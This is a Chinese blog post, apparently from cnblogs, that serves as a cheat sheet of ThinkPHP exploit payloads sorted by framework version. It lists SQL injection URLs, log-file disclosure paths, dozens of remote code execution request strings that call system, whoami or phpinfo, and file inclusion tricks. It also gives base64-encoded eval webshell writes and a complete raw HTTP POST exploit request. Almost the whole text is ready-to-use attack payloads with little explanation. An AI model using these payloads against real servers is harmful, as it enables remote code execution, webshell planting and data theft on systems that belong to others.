首页 > 编程语言 >thinkphp漏洞

thinkphp漏洞

时间:2022-11-20 21:25:40浏览次数:68  
标签:index http think 漏洞 thinkphp php method

thinkphp漏洞

参考资料:https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

敏感信息

THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log
http://demo.xxxxx.cc/Runtime/Logs/User/16_09_06.log 

thinkphp 3.2.3 注入

参考资料:https://darkless.cn/2020/06/07/thinkphp3.2.3-sqli/

http://127.0.0.1:8888/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

thinkphp 5.0.22


1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件

thinkphp 5

5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.21

6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.*

8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

未知版本

 16、?s=index/\think\module/action/param1/${@phpinfo()}
 17、?s=index/\think\Module/Action/Param/${@phpinfo()}
 18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
 19、index.php?s=/home/article/view_recent/name/1' 
 header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
 20、index.php?s=/home/shopcart/getPricetotal/tag/1%27
 21、index.php?s=/home/shopcart/getpriceNum/id/1%27
 22、index.php?s=/home/user/cut/id/1%27
 23、index.php?s=/home/service/index/id/1%27
 24、index.php?s=/home/pay/chongzhi/orderid/1%27
 25、index.php?s=/home/pay/index/orderid/1%27
 26、index.php?s=/home/order/complete/id/1%27
 27、index.php?s=/home/order/complete/id/1%27
 28、index.php?s=/home/order/detail/id/1%27
 29、index.php?s=/home/order/cancel/id/1%27
 30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
 31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1
 Content-Disposition: form-data; name="couponid"
 1') union select sleep('''+str(sleep_time)+''')#

thinkphp 5.0.23(完整版)debug模式

32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

thinkphp 5.0.23(完整版)

33、(post)public/index.php?s=captcha (data)  _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls  -al


Cookie:file_put_contents/**/('./readme.txt','h3art3ars');
Cookie:<?php phpinfo/**/();?>
Cookie:<? $a='+a + ';eval/**/(base64_decode/**/($a));?>
_method=__construct&method=get&filter[]=think\__include_file&get[]=../runtime/log/202005/22.log&1=cGhwaW5mbygpOw==

_method=__construct&method=get&filter[]=assert&get[]=phpinfo();
_method=__construct&method=get&filter[]=assert&get[]=file_put_contents('./readme.php',base64_decode('PD9waHAgCiAgICAkYiA9IHN1YnN0cigkX1BPU1RbJ2gzYXJ0M2FycyddLCAxKTsKICAgIGV2YWwoYmFzZTY0X2RlY29kZSgkYikpOwo/Pg=='));

assert调用assert
_method=__construct&method=get&filter[]=assert&get[]=assert(base64_decode($_POST[1]));&1=ZmlsZV9wdXRfY29udGVudHMoJy4vcmVhZG1lLnBocCcsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQWdDaUFnSUNBa1lpQTlJSE4xWW5OMGNpZ2tYMUJQVTFSYkoyZ3pZWEowTTJGeWN5ZGRMQ0F4S1RzS0lDQWdJR1YyWVd3b1ltRnpaVFkwWDJSbFkyOWtaU2drWWlrcE93by9QZz09Jykp

thinkphp 5.0.10(完整版)

34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

thinkphp 5.1.* 和 5.2.* 和 5.0.*

35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter

版本号:5.0.8~5.0.19

s=whoami&_method=__construct&filter&filter=system

版本号:5.0.20~5.0.23

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
或
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

注意

发包的请求头
Content-Type: application/x-www-form-urlencoded

POST /tp5022/public/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_var=zh-cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

标签:index,http,think,漏洞,thinkphp,php,method
From: https://www.cnblogs.com/startstart/p/16909569.html

相关文章

  • LyScript 寻找ROP漏洞指令片段
    ROP绕过片段简单科普一下,你可以理解成一个可以关闭系统自身内存保护的一段机器指令,这段代码需要我们自己构造,这就涉及到在对端内存搜寻这样的指令,LyScript插件增强了指令片......
  • 补档--【THM】File Inclusion(文件包含漏洞)-学习
    本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/fileinc通过学习相关知识点:了解文件包含漏洞,包括本地文件包含(LFI)、远程文件包含(RFI)和路径遍历(目录遍历)。介......
  • 文件包含漏洞
    一、原理新建1.php<?php$file=$_GET[file];if(isset($file)){include($file);}else{echo"sorrynot";}?>远程文件包含:应用伪协议http:// python-m......
  • log4j漏洞原理
    一.前置知识1.JNDI接口JNDI即JavaNamingandDirectoryInterface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以......
  • 注意 ! !|95% 的应用程序中发现错误配置和漏洞
    业内权威机构Synopsys最近发布了一项研究报告,结果表明在进行4300次测试后,发现95%的应用程序中都至少都有一个影响安全的漏洞或配置错误,其中高危漏洞占20%,严重漏洞则占4.5......
  • 漏洞扫描器
    0x001漏洞扫描工具1.Nessus下载地址:https://www.tenable.com/downloads/nessus?loginAttempted=true安装过程可以查看文章:https://zhuanlan.zhihu.com/p/147239031?f......
  • centos 等保漏洞修复
    一、设置密码复杂度[root@localhost~]#vi/etc/pam.d/system-authpasswordrequisitepam_pwquality.sotry_first_passlocal_users_onlyretry=3authtok_type=min......
  • D-Link DIR-645 信息泄露漏洞
    一、D-LinkDIR-645getcfg.php文件由于过滤不严格导致信息泄露漏洞。$SERVICE_COUNT=cut_count($_POST["SERVICES"],",");TRACE_debug("GETCFG:got".$SERVICE_COUNT......
  • 第八章-XXE漏洞
    第一节XML快速入门1.1XML介绍及用途XML被设计用来传输和存储数据。XML文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。XML允许创作者定义自己的标签和自己的......
  • CVE-2022-40871 Dolibarr任意添加管理员与RCE漏洞分析
    0x01漏洞简介DolibarrERP&CRM<=15.0.3isvulnerabletoEvalinjection.Bydefault,anyadministratorcanbeaddedtotheinstallationpageofdolibarr,and......